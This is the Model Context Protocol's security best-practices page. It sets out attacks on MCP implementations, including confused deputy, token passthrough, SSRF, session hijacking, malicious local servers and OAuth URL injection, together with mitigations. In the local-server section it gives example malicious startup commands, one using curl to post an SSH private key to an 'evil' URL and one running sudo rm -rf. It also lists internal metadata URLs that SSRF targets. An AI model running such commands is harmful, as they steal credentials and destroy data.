Security

Security Best Practices

Copy page

Security considerations, attack vectors, and best practices for MCP implementations

Introduction

Purpose and Scope

This document provides security considerations for the Model Context Protocol (MCP), complementing the **MCP Authorization** specification. This document identifies security risks, attack vectors, and best practices specific to MCP implementations.

The primary audience for this document includes developers implementing MCP authorization flows, MCP server operators, and security professionals evaluating MCP-based systems. This document should be read alongside the MCP Authorization specification and **OAuth 2.0 security best practices**.

Attacks and Mitigations

This section gives a detailed description of attacks on MCP implementations, along with potential countermeasures.

Confused Deputy Problem

Attackers can exploit MCP proxy servers that connect to third-party APIs, creating "**confused deputy**" vulnerabilities. This attack allows malicious clients to obtain authorization codes without proper user consent by exploiting the combination of static client IDs, dynamic client registration, and consent cookies.

Terminology

Model Context Protocol

MCP Proxy Server : An MCP server that connects MCP clients to third-party APIs, offering MCP features while delegating operations and acting as a single OAuth client to the third-party API server.

Third-Party Authorization Server : Authorization server that protects the third-party API. It may lack dynamic client registration support, requiring the MCP proxy to use a static client ID for all requests.

Third-Party API : The protected resource server that provides the actual API functionality. Access to this API requires tokens issued by the third-party authorization server.

Static Client ID : A fixed OAuth 2.0 client identifier used by the MCP proxy server when communicating with the third-party authorization server. This Client ID refers to the MCP server acting as a client to the Third-Party API. It is the same value for all MCP server to Third-Party API interactions regardless of which MCP client initiated the request.

Vulnerable Conditions

This attack becomes possible when all of the following conditions are present:

- MCP proxy server uses a **static client ID** with a third-party authorization server
- MCP proxy server allows MCP clients to **dynamically register** (each getting their own client_id)
- The third-party authorization server sets a **consent cookie** after the first authorization
- MCP proxy server does not implement proper per-client consent before forwarding to third-party authorization

Architecture and Attack Flows

Normal OAuth proxy usage (preserves user consent)

Malicious OAuth proxy usage (skips user consent)

Attack Description

When an MCP proxy server uses a static client ID to authenticate with a third-party authorization server, the following attack becomes possible:

1. A user authenticates normally through the MCP proxy server to access the third-party API
2. During this flow, the third-party authorization server sets a cookie on the user agent indicating consent for the static client ID
3. An attacker later sends the user a malicious link containing a crafted authorization request which contains a malicious redirect URI along with a new dynamically registered client ID
4. When the user clicks the link, their browser still has the consent cookie from the previous legitimate request
5. The third-party authorization server detects the cookie and skips the consent screen
6. The MCP authorization code is redirected to the attacker's server (specified in the malicious `redirect_uri` parameter during **dynamic client registration**)
7. The attacker exchanges the stolen authorization code for access tokens for the MCP server without the user's explicit approval
8. The attacker now has access to the third-party API as the compromised user

Mitigation

To prevent confused deputy attacks, MCP proxy servers **MUST** implement per-client consent and proper security controls as detailed below.

Consent Flow Implementation

The following diagram shows how to properly implement per-client consent that runs **before** the third-party authorization flow:

Required Protections

Per-Client Consent Storage

MCP proxy servers **MUST**:

- Maintain a registry of approved `client_id` values per user
- Check this registry **before** initiating the third-party authorization flow
- Store consent decisions securely (server-side database, or server specific cookies)

Consent UI Requirements

The MCP-level consent page **MUST**:

- Clearly identify the requesting MCP client by name
- Display the specific third-party API scopes being requested
- Show the registered `redirect_uri` where tokens will be sent
- Implement CSRF protection (e.g., state parameter, CSRF tokens)
- Prevent iframing via `frame-ancestors` CSP directive or `X-Frame-Options: DENY` to prevent clickjacking

Consent Cookie Security

If using cookies to track consent decisions, they **MUST**:

- Use `__Host-` prefix for cookie names
- Set `Secure` , `HttpOnly` , and `SameSite=Lax` attributes
- Be cryptographically signed or use server-side sessions
- Bind to the specific `client_id` (not just “user has consented”)

Redirect URI Validation

The MCP proxy server **MUST**:

- Validate that the `redirect_uri` in authorization requests exactly matches the registered URI
- Reject requests if the `redirect_uri` has changed without re-registration
- Use exact string matching (not pattern matching or wildcards)

OAuth State Parameter Validation

The OAuth `state` parameter is critical to prevent authorization code interception and CSRF attacks. Proper state validation ensures that consent approval at the authorization endpoint is enforced at the callback endpoint.

MCP proxy servers implementing OAuth flows **MUST**:

- Generate a cryptographically secure random `state` value for each authorization request
- Store the `state` value server-side (in a secure session store or encrypted cookie) **only after** consent has been explicitly approved
- Set the `state` tracking cookie/session **immediately before** redirecting to the third-party identity provider (not before consent approval)
- Validate at the callback endpoint that the `state` query parameter exactly matches the stored value in the callback request's cookies or in the request's cookie-based session
- Reject any callback requests where the `state` parameter is missing or does not match
- Ensure `state` values are single-use (delete after validation) and have a short expiration time (e.g., 10 minutes)

The consent cookie or session containing the `state` value **MUST NOT** be set until **after** the user has approved the consent screen at the MCP server's authorization endpoint. Setting this cookie before consent approval renders the consent screen ineffective, as an attacker could bypass it by crafting a malicious authorization request.

Token Passthrough

"Token passthrough" is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued *to the MCP server* and passes them through to the downstream API.

Risks

Token passthrough is explicitly forbidden in the **authorization specification** as it introduces a number of security risks, that include:

- **Security Control Circumvention**

- The MCP Server or downstream APIs might implement important security controls like rate limiting, request validation, or traffic monitoring, that depend on the token audience or other credential constraints. If clients can obtain and use tokens directly with the downstream APIs without the MCP server validating them properly or ensuring that the tokens are issued for the right service, they bypass these controls.

- **Accountability and Audit Trail Issues**
  - The MCP Server will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server.
  - The downstream Resource Server's logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens.
  - Both factors make incident investigation, controls, and auditing more difficult.
  - If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration.
- **Trust Boundary Issues**
  - The downstream Resource Server grants trust to specific entities. This trust might include assumptions about origin or client behavior patterns. Breaking this trust boundary could lead to unexpected issues.
  - If the token is accepted by multiple services without proper validation, an attacker compromising one service can use the token to access other connected services.
- **Future Compatibility Risk**
  - Even if an MCP Server starts as a "pure proxy" today, it might need to add security controls later. Starting with proper token audience separation makes it easier to evolve the security model.

Mitigation

MCP servers **MUST NOT** accept any tokens that were not explicitly issued for the MCP server.

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is an attack where an attacker can induce an MCP client to make HTTP requests to unintended destinations, potentially accessing internal network resources, cloud metadata endpoints, or other protected services.

Attack Description

During OAuth metadata discovery, MCP clients fetch URLs from several sources that could be controlled by a malicious MCP server:

1. The `resource_metadata` URL from the `WWW-Authenticate` header
2. The `authorization_servers` URLs from the Protected Resource Metadata document
3. The `token_endpoint`, `authorization_endpoint`, and other URLs from Authorization Server Metadata

A malicious MCP server can populate these fields with URLs pointing to internal resources, enabling the following attack patterns:

- **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or `http://10.0.0.1/api` target internal network services
- **Cloud metadata endpoints**: URLs targeting `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can exfiltrate cloud credentials and instance information
- **Localhost services**: URLs like `http://localhost:6379/` can interact with local services (Redis, databases, admin panels)
- **DNS rebinding**: Domains that change DNS resolution between validation and use (e.g., `https://attacker.com` resolving to a safe IP initially, then to `192.168.1.1`)
- **Redirect chains**: Normal-looking URLs that redirect to internal resources

Risks

- **Credential exfiltration**: Cloud metadata endpoints often expose IAM credentials, API keys, and other secrets
- **Internal network reconnaissance**: Error messages reveal information about internal network topology and services
- **Service interaction**: POST requests (e.g., to token endpoints) can trigger mutations on internal services
- **Firewall bypass**: The MCP client acts as a proxy, bypassing network perimeter controls
- **Data exfiltration**: Internal service responses may be reflected back to attackers through error messages or OAuth flows

Mitigation

MCP clients deployed to a server **MUST** consider SSRF risks and implement appropriate mitigations when fetching OAuth-related URLs. Which protections are appropriate depend on your network environment.

Enforce HTTPS

MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in production environments:

- Reject `http://` URLs except for loopback addresses (`localhost`, `127.0.0.1`, `::1`) during development
- This aligns with **OAuth 2.1 Section 1.5** which requires HTTPS for all OAuth protocol URLs except loopback redirect URIs
- Provide an explicit opt-out mechanism for development/testing scenarios

Block Private IP Ranges

MCP clients **SHOULD** block requests to private and reserved IP address ranges as recommended by **RFC 9728 Section 7.7**:

- Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`
- Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for development)
- Link-local: `169.254.0.0/16` (including cloud metadata endpoints)

- Private IPv6 ranges: `fc00::/7` , `fe80::/10`

> Avoid implementing IP validation manually. Attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.

Validate Redirect Targets

MCP clients **SHOULD** apply the same URL validation to redirect targets:

- Do not blindly follow redirects to internal resources
- Apply HTTPS and IP range restrictions to redirect destinations
- Consider disabling automatic redirect following and validating each hop

Use Egress Proxies

For server-side MCP client deployments, operators **SHOULD** consider using an egress proxy that enforces network policies:

- Route OAuth discovery requests through a proxy that blocks internal destinations
- Use tools like **Smokescreen** or similar egress proxies that prevent SSRF by design
- Configure network policies to restrict the MCP client's outbound access

DNS Resolution Considerations

Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with DNS-based validation:

- An attacker's domain may resolve to a safe IP during validation but to an internal IP during the actual request
- Consider pinning DNS resolution results between check and use
- Defense in depth: combine DNS checks with other mitigations

Resources and Tools

The following resources can help developers implement SSRF protections in MCP clients.

Reference Documentation

- **OWASP SSRF Prevention Cheat Sheet**: Comprehensive guidance on SSRF prevention techniques, including input validation, allowlist strategies, and network-level controls
- **OWASP Top 10 A10:2021 - SSRF**: SSRF in the context of the most critical web application security risks

Session Hijacking

Session hijacking is an attack vector where a client is provided a session ID by the server, and an unauthorized party is able to obtain and use that same session ID to impersonate the original client and perform unauthorized actions on their behalf.

Session Hijack Prompt Injection

Session Hijack Impersonation

Attack Description

When you have multiple stateful HTTP servers that handle MCP requests, the following attack vectors are possible:

Session Hijack Prompt Injection

1. The client connects to **Server A** and receives a session ID.
2. The attacker obtains an existing session ID and sends a malicious event to **Server B** with said session ID.
    - When a server supports **redelivery/resumable streams**, deliberately terminating the request before receiving the response could lead to it being resumed by the original client via the GET request for server sent events.
    - If a particular server initiates server sent events as a consequence of a tool call such as a `notifications/tools/list_changed`, where it is possible to affect the tools that are offered by the server, a client could end up with tools that they were not aware were enabled.
3. **Server B** enqueues the event (associated with session ID) into a shared queue.

4. **Server A** polls the queue for events using the session ID and retrieves the malicious payload.
5. **Server A** sends the malicious payload to the client as an asynchronous or resumed response.
6. The client receives and acts on the malicious payload, leading to potential compromise.

Session Hijack Impersonation

1. The MCP client authenticates with the MCP server, creating a persistent session ID.
2. The attacker obtains the session ID.
3. The attacker makes calls to the MCP server using the session ID.
4. MCP server does not check for additional authorization and treats the attacker as a legitimate user, allowing unauthorized access or actions.

Mitigation

To prevent session hijacking and event injection attacks, the following mitigations should be implemented:

MCP servers that implement authorization **MUST** verify all inbound requests. MCP Servers **MUST NOT** use sessions for authentication.

MCP servers **MUST** use secure, non-deterministic session IDs. Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number generators. Avoid predictable or sequential session identifiers that could be guessed by an attacker. Rotating or expiring session IDs can also reduce the risk.

MCP servers **SHOULD** bind session IDs to user-specific information. When storing or transmitting session-related data (e.g., in a queue), combine the session ID with information unique to the authorized user, such as their internal user ID. Use a key format like `<user_id>:<session_id>` . This ensures that even if an attacker guesses a session ID, they cannot impersonate another user as the user ID is derived from the user token and not provided by the client.

MCP servers can optionally leverage additional unique identifiers.

Local MCP Server Compromise

Model Context Protocol

Local MCP servers are MCP Servers running on a user's local machine, either by the user downloading and executing a server, authoring a server themselves, or installing through a client's configuration flows. These servers may have direct access to the user's system and may be accessible to other processes running on the user's machine, making them attractive targets for attacks.

Attack Description

Local MCP servers are binaries that are downloaded and executed on the same machine as the MCP client. Without proper sandboxing and consent requirements in place, the following attacks become possible:

1. An attacker includes a malicious "startup" command in a client configuration
2. An attacker distributes a malicious payload inside the server itself
3. An attacker accesses an insecure local server that's left running on localhost via DNS rebinding

Example malicious startup commands that could be embedded:

```
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
```

Risks

Local MCP servers with inadequate restrictions or from untrusted sources introduce several critical security risks:

- **Arbitrary code execution**. Attackers can execute any command with MCP client privileges.
- **No visibility**. Users have no insight into what commands are being executed.

- **Command obfuscation**. Malicious actors can use complex or convoluted commands to appear legitimate.
- **Data exfiltration**. Attackers can access legitimate local MCP servers via compromised JavaScript.
- **Data loss**. Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine.

Mitigation

If an MCP client supports one-click local MCP server configuration, it **MUST** implement proper consent mechanisms prior to executing commands.

Pre-Configuration Consent

Display a clear consent dialog before connecting a new local MCP server via one-click configuration. The MCP client **MUST**:

- Show the exact command that will be executed, without truncation (include arguments and parameters)
- Clearly identify it as a potentially dangerous operation that executes code on the user's system
- Require explicit user approval before proceeding
- Allow users to cancel the configuration

The MCP client **SHOULD** implement additional checks and guardrails to mitigate potential code execution attack vectors:

- Highlight potentially dangerous command patterns (e.g., commands containing `sudo`, `rm -rf`, network operations, file system access outside expected directories)
- Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories)
- Warn that MCP servers run with the same privileges as the client
- Execute MCP server commands in a sandboxed environment with minimal default privileges

- Launch MCP servers with restricted access to the file system, network, and other system resources
- Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed
- Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.)
- Keep sandboxing solutions up-to-date to account for emerging vulnerabilities

MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes:

- Use the `stdio` transport to limit access to just the MCP client
- Restrict access if using an HTTP transport, such as:
  - Require an authorization token
  - Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access

OAuth Authorization URL Validation

OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).

Attack Description

During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:

JavaScript URL Injection (XSS)

1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
3. The browser executes the JavaScript code embedded in the URL

4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation

Command Injection via Shell Execution

1. A malicious MCP server provides a URL containing shell command injection payloads
2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
3. The shell interprets parts of the URL as additional commands to execute
4. The attacker achieves arbitrary code execution on the user's system

stdio Transport Privilege Escalation

When XSS vulnerabilities are combined with `stdio` transport capabilities, attackers can escalate web-based attacks to full system compromise. See **stdio Transport Security in Proxy Scenarios** for detailed attack vectors and mitigations.

Risks

OAuth authorization URL vulnerabilities introduce several critical security risks:

- **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
- **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
- **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
- **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
- **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.

Mitigation

URL Scheme Validation

MCP clients **MUST** validate authorization URLs and reject dangerous schemes:

Model Context Protocol

- **MUST** only allow `http://` and `https://` schemes for authorization URLs. The `http://` scheme is acceptable only for loopback addresses (such as `localhost`, `127.0.0.1`, or `::1`) during local development; authorization servers in production **MUST** use `https://`.
- **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
- **SHOULD** use allowlist-based validation rather than blocklist-based approaches

Secure URL Opening

MCP clients **MUST** avoid shell execution when opening URLs:

- **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
- **SHOULD** use platform-specific, non-shell URL opening mechanisms

Content Security Policy (CSP)

Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:

- Set `script-src 'self'` to prevent execution of inline JavaScript
- Use `default-src 'self'` to restrict resource loading
- Consider `script-src 'nonce-<random>'` for dynamic content that requires inline scripts

Input Sanitization

MCP clients **MUST** sanitize and validate all URLs received from MCP servers:

- Implement strict URL parsing and validation
- Reject URLs with special characters that could be interpreted by shells
- Consider using dedicated URL sanitization libraries
- Log suspicious authorization URLs for security monitoring

stdio Transport Security in Proxy Scenarios

Model Context Protocol

The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.

Attack Description

Important: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.

In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:

1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
3. Malicious actor makes authenticated requests to the local MCP proxy service
4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
5. Attacker achieves Remote Code Execution with user privileges

Risks

- **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
- **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
- **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run

The primary defense is to prevent classes of vulnerabilities that enable this attack vector:

- Implement the mitigations described in **OAuth Authorization URL Validation**
- Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
- Validate and sanitize all input from MCP servers before processing

Since XSS fundamentally compromises the client's security context, focus on limiting the damage:

stdio Transport Restrictions

MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:

- Implement sandboxing or containerization for spawned processes
- Restrict file system access for spawned MCP servers
- Log all `stdio` transport usage for security monitoring
- Require additional authorization for potentially dangerous commands

Client-Side Protections

MCP clients **SHOULD** implement defense-in-depth measures:

- Isolate proxy communication in a separate security context when possible
- Use principle of least privilege for proxy process permissions
- Implement process-level sandboxing for the proxy service itself
- Consider running the proxy in a container or restricted environment

Scope Minimization

Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails.

Attack Description

An attacker obtains (via log leakage, memory scraping, or local interception) an access token carrying broad scopes (`files:*` , `db:*` , `admin:*`) that were granted up front because the MCP server exposed every scope in `scopes_supported` and the client requested them all. The token enables lateral data access, privilege chaining, and difficult revocation without re-consenting the entire surface.

Risks

- Expanded blast radius: stolen broad token enables unrelated tool/resource access
- Higher friction on revocation: revoking a max-privilege token disrupts all workflows
- Audit noise: single omnibus scope masks user intent per operation
- Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts
- Consent abandonment: users decline dialogs listing excessive scopes
- Scope inflation blindness: lack of metrics makes over-broad requests normalised

Mitigation

Implement a progressive, least-privilege scope model:

- Minimal initial scope set (e.g., `mcp:tools-basic`) containing only low-risk discovery/read operations
- Incremental elevation via targeted `WWW-Authenticate scope="..."` challenges when privileged operations are first attempted
- Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes

Server guidance:

- Emit precise scope challenges; avoid returning the full catalog
- Log elevation events (scope requested, granted subset) with correlation IDs

Client guidance:

- Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`)

- Cache recent failures to avoid repeated elevation loops for denied scopes

Common Mistakes

- Publishing all possible scopes in `scopes_supported`
- Using wildcard or omnibus scopes (`*` , `all` , `full-access`)
- Bundling unrelated privileges to preempt future prompts
- Returning entire scope catalog in every challenge
- Silent scope semantic changes without versioning
- Treating claimed scopes in token as sufficient without server-side authorization logic

Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.

Was this page helpful? Yes No

Copyright © Model Context Protocol a Series of LF Projects, LLC.
For web site terms of use, trademark policy and other project policies please see https://lfprojects.org.